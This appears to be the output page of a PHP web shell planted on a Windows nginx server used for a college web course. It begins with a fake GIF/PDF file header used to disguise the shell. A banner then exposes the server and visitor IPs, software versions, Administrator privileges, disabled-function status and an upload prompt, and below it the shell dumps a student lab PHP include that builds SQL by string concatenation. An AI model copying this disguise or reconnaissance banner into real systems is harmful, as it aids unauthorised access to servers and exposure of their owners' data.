GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/MichaelMalz/CST2146/Labs/Lab11/ |
Upload File : |
<? // MichaelMalz/CST2146/Labs/getLabInfo.phpinc // To get the web. php, and site path information for the student. $pathDataStored = false; $query = " SELECT userId , web , php , site FROM `cst2146` WHERE userId = ".$_SESSION['userId']." ORDER BY php "; #d_Var('cst2146Info',$query,'dq'); $cst2146Info = query_info($query); #d_Var('$cst2146Info',$cst2146Info,'d'); #if ( $cst2146Count != 1 ) programmingError(`The userId (`.$userId.`) did not return one record. `.$cst2146Count.` returned.`); #if ( !$cst2146Count ) programmingError(`The userId (`.$userId.`) did not return any records.`); if ( $cst2146Info ) { $pathDataStored = true; $_SESSION['CST2146'] = array(); $_SESSION['CST2146']['webPath'] = $cst2146Info['web']; $_SESSION['CST2146']['webConfig'] = str_replace("\\","/",$_SESSION['CST2146']['webPath']); $_SESSION['CST2146']['phpPath'] = $cst2146Info['php']; $_SESSION['CST2146']['phpConfig'] = str_replace("\\","/",$_SESSION['CST2146']['phpPath']); $_SESSION['CST2146']['sitePath'] = $cst2146Info['site']; $_SESSION['CST2146']['siteConfig'] = str_replace("\\","/",$_SESSION['CST2146']['sitePath']); if ( strpos($_SESSION['CST2146']['sitePath'],'/') !== false ) { $_SESSION['CST2146']['folderDelimiter'] = '/'; } else { $_SESSION['CST2146']['folderDelimiter'] = '\\'; } $_SESSION['CST2146']['siteRelativePath'] = str_replace($_SESSION['CST2146']['webPath'].$_SESSION['CST2146']['folderDelimiter'],'',$_SESSION['CST2146']['sitePath']); $_SESSION['CST2146']['siteRelativeConfig'] = str_replace("\\","/",$_SESSION['CST2146']['siteRelativePath']); } else { $_SESSION['CST2146'] = array(); $_SESSION['CST2146']['webPath'] = 'C:\nginx'; $_SESSION['CST2146']['webConfig'] = 'C:/nginx'; $_SESSION['CST2146']['phpPath'] = 'C:\php'; $_SESSION['CST2146']['phpConfig'] = 'C:/php'; $_SESSION['CST2146']['sitePath'] = 'C:\nginx\html'; $_SESSION['CST2146']['siteConfig'] = 'C:/nginx/html'; $_SESSION['CST2146']['siteRelativePath'] = 'html'; $_SESSION['CST2146']['siteRelativeConfig'] = $_SESSION['CST2146']['siteRelativePath']; $_SESSION['CST2146']['folderDelimiter'] = '\\'; } ?>